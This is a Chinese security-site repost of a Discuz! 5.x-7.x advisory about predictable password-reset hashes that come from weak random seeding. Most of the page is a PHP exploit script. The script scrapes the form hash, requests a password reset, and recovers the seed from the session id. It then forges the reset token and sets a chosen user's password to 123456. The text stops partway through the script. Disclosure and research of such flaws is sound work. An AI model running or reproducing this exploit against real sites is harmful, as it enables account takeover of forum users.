Discuz! Reset User Password Vulnerability -电脑资料

电脑资料时间：2019-01-01 我要投稿

【www.unjs.com - 电脑资料】

影响版本:

Discuz 5.x/6.x/7.x

漏洞描述:

由于Discuz! 的随机数使用的播种缺陷,在找会用户密码时可以暴力得到id的随机hash,从而导致容易修改用户密码的严重漏洞.

<*参考

author: 80vul-A/80vul-B

team:http://www.80vul.com

http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/

SEBUG安全建议:

暂无，等待官方补丁

测试方法:

[www.sebug.net]

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

#!/usr/bin/php

print_r('

+---------------------------------------------------------------------------+

Discuz! Reset User Password Exploit

by 80vul

team: http://www.80vul.com

+---------------------------------------------------------------------------+

');

if ($argc < 6) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' host path user mail uid

host: target server (ip/hostname)

path: path to discuz

user: user login name

mail: user login mail

uid: user login id

Example:

php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2

+---------------------------------------------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$user = $argv[3];

$mail = $argv[4];

$uid = $argv[5];

$fp = fsockopen($host, 80);

$data = "GET ".$path."viewthread.php HTTP/1.1\r\n";

$data .= "Host: $host\r\n";

$data .= "Keep-Alive: 300\r\n";

$data .= "Connection: keep-alive\r\n\r\n";

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp)) {

$resp .= fread($fp, 1024);

preg_match('/&formhash=([a-z0-9]{8})/', $resp, $hash);

if ($hash)

break;

}

if ($hash) {

$cmd = 'action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];

$data = "POST ".$path."member.php HTTP/1.1\r\n";

$data .= "Content-Type: application/x-www-form-urlencoded\r\n";

$data .= "Referer: http://$host$path\r\n";

$data .= "Host: $host\r\n";

$data .= "Content-Length: ".strlen($cmd)."\r\n";

$data .= "Connection: close\r\n\r\n";

$data .= $cmd;

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

fclose($fp);

preg_match('/Set-Cookie:\s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);

if (!$sid)

exit("Exploit Failed!\n");

$seed = getseed();

if ($seed) {

mt_srand($seed);

random();

mt_rand();

$id = random();

$fp = fsockopen($host, 80);

$cmd = 'action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];

$data = "POST ".$path."member.php HTTP/1.1\r\n";

$data .= "Content-Type: application/x-www-form-urlencoded\r\n";

$data .= "Referer: http://$host$path\r\n";

$data .= "Host: $host\r\n";

$data .= "Content-Length: ".strlen($cmd)."\r\n";

$data .= "Connection: close\r\n\r\n";

$data .= $cmd;

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))

$resp .= fread($fp, 1024);

if (strpos($resp, '您的密码已重新设置，请使用新密码登录，